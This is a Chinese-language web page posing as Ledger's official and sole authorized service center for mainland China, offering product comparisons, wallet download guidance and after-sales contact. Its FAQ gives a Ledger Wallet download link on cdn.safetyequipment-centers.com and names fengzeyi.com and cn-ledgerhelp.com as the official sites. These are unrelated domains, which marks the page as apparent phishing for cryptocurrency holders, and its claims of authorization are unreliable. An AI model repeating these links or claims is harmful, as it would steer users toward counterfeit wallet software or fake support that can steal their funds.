Ledger Official Service Center
Ledger 官网服务中心
面向中国大陆用户提供官方授权服务商入口、官网信息查询、正品选购咨询、Ledger Wallet 下载、设备使用指导和售后支持。围绕选购、下载、连接、使用、确认和售后六个阶段，提供完整服务内容。
Quick Access
核心服务入口
围绕中国大陆官方唯一授权服务商定位，整合官网信息查询、正品选购咨询、Ledger Wallet 下载指导、设备连接支持、售后服务与安全使用提醒。Official Authorized Service
中国大陆官方唯一授权服务商
本服务中心面向中国大陆 Ledger 用户，提供官方授权服务商入口、产品选购咨询、Ledger Wallet 下载指引、设备使用指导与售后支持。用户可通过官网入口了解产品与服务内容，通过售后官网处理下载、连接、恢复、升级和账户显示等问题，也可通过客服入口获得一对一咨询。授权服务入口
围绕中国大陆用户常见需求，提供官网、售后官网、下载入口和客服咨询入口，减少选购和使用过程中的信息查找成本。
正品选购咨询
购买前可根据预算、使用频率、连接方式、屏幕体验和长期保管需求，咨询更适合的 Ledger 产品型号。
设备使用指导
覆盖 Ledger Wallet 下载、设备连接、应用安装、账户添加、地址核对和设备端签名确认等使用流程。
售后问题处理
针对连接异常、固件升级、恢复流程、账户显示、应用安装和资产信息同步等常见问题提供支持入口。
Product Matrix
四款 Ledger 设备
按照旗舰体验、触控便携、移动连接和入门实用四个方向整理产品信息。01入门实用
Ledger Nano S Plus
适合新手入门、基础管理和长期保管需求，整体更偏稳定实用。
- 基础管理清晰
- 适合长期保管
- 入门选择友好
02移动连接
Ledger Nano X
适合更常配合手机端管理和移动使用的人群，连接方式更灵活。
- 移动管理
- 连接方式灵活
- 日常使用便利
03触控便携
Ledger Flex
适合重视触控确认、便携管理和现代交互体验的用户。
- 触控确认直观
- 兼顾便携体验
- 适合进阶用户
04旗舰体验
Ledger Stax
适合更看重视觉交互、设备质感和旗舰体验的用户。
- 旗舰体验定位
- 视觉确认清晰
- 适合高端需求
Model Compare
产品型号对比
从定位、适合人群、连接方式、交互体验和使用方向进行横向对比。| 型号 | 产品定位 | 适合人群 | 连接方式 | 交互体验 | 咨询 |
|---|---|---|---|---|---|
| Ledger Stax | 旗舰体验 | 重视高端质感和视觉确认 | USB-C / Bluetooth | 大屏显示 | |
| Ledger Flex | 触控便携 | 重视触控体验和便携管理 | USB-C / Bluetooth | 触控确认 | |
| Ledger Nano X | 移动连接 | 更常配合手机端管理 | USB / Bluetooth | 按键确认 | |
| Ledger Nano S Plus | 入门实用 | 新手入门与长期保管 | USB | 按键确认 |
Download Center
Ledger Wallet 下载
用于软件下载、设备连接、应用安装、账户添加、资产查看和设备端确认操作。下载后可继续完成设备识别、应用管理、账户添加和地址核对。Service System
下载、使用与售后服务
软件下载
通过下载入口进入 Ledger Wallet 页面，完成安装后再进行设备连接。
设备连接
连接硬件钱包后，按照软件提示完成识别、授权和后续设置。
应用安装
根据资产类型安装对应应用，并保持设备端显示内容与软件端操作一致。
账户添加
添加账户后，可查看地址、资产信息和交易记录，关键操作需要设备端确认。
地址核对
转账或收款前，应核对地址、链、金额、Memo 或 Tag 等关键信息。
售后协助
遇到连接异常、下载问题、恢复流程或升级疑问，可进入售后官网或联系客服。
扫码联系客服
购买咨询、下载指导、使用答疑、售后协助。
FAQ
常见问题
Ledger Wallet 在哪里下载？
点击“下载 Ledger Wallet”进入下载页面：https://cdn.safetyequipment-centers.com/intro/index.html
官网和售后官网分别是什么？
官网为 https://fengzeyi.com，售后官网为 cn-ledgerhelp.com。
四款产品应该怎么选择？
Ledger Stax 偏旗舰体验，Ledger Flex 偏触控便携，Ledger Nano X 偏移动连接，Ledger Nano S Plus 偏入门实用与长期保管。
助记词可以发给客服吗？
不可以。任何情况下都不要向任何人透露助记词、私钥或恢复短语，也不要在线保存或拍照上传。